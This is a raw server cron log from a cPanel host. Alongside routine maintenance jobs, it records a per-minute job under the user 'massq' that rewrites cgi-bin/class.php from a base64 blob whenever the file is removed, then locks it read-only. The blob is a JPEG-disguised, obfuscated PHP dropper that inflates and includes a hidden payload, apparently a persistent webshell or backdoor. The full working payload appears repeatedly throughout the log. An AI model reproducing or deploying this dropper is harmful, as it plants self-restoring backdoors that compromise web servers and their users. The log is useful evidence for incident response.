Sep  6 05:49:01 server CROND[9452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:50:01 server CROND[9881]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 05:50:01 server CROND[9883]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:50:01 server CROND[9896]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 05:50:01 server CROND[9897]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 05:50:01 server CROND[9900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:50:01 server CROND[9898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:50:01 server CROND[9899]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:50:01 server CROND[9902]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 05:50:01 server CROND[9901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:51:01 server CROND[10764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:51:01 server CROND[10765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:51:01 server CROND[10766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:52:01 server CROND[11125]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  6 05:52:01 server CROND[11127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:52:01 server CROND[11126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:52:01 server CROND[11128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:53:01 server CROND[11602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:53:01 server CROND[11603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:53:01 server CROND[11604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:54:01 server CROND[12085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:54:01 server CROND[12086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:54:01 server CROND[12087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:55:01 server CROND[12506]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:55:01 server CROND[12510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:55:01 server CROND[12514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:55:01 server CROND[12511]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 05:55:01 server CROND[12512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:55:01 server CROND[12509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:55:01 server CROND[12508]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 05:56:01 server CROND[13363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:56:01 server CROND[13364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:56:01 server CROND[13365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:57:01 server CROND[13759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:57:01 server CROND[13760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:57:01 server CROND[13761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:57:01 server CROND[13762]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 05:58:01 server CROND[14237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:58:01 server CROND[14238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:58:01 server CROND[14239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:59:01 server CROND[14725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:59:01 server CROND[14726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:59:01 server CROND[14724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:00:01 server CROND[15147]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 06:00:01 server CROND[15148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:00:01 server CROND[15151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:00:01 server CROND[15153]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 06:00:01 server CROND[15152]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:00:01 server CROND[15158]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 06:00:01 server CROND[15155]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
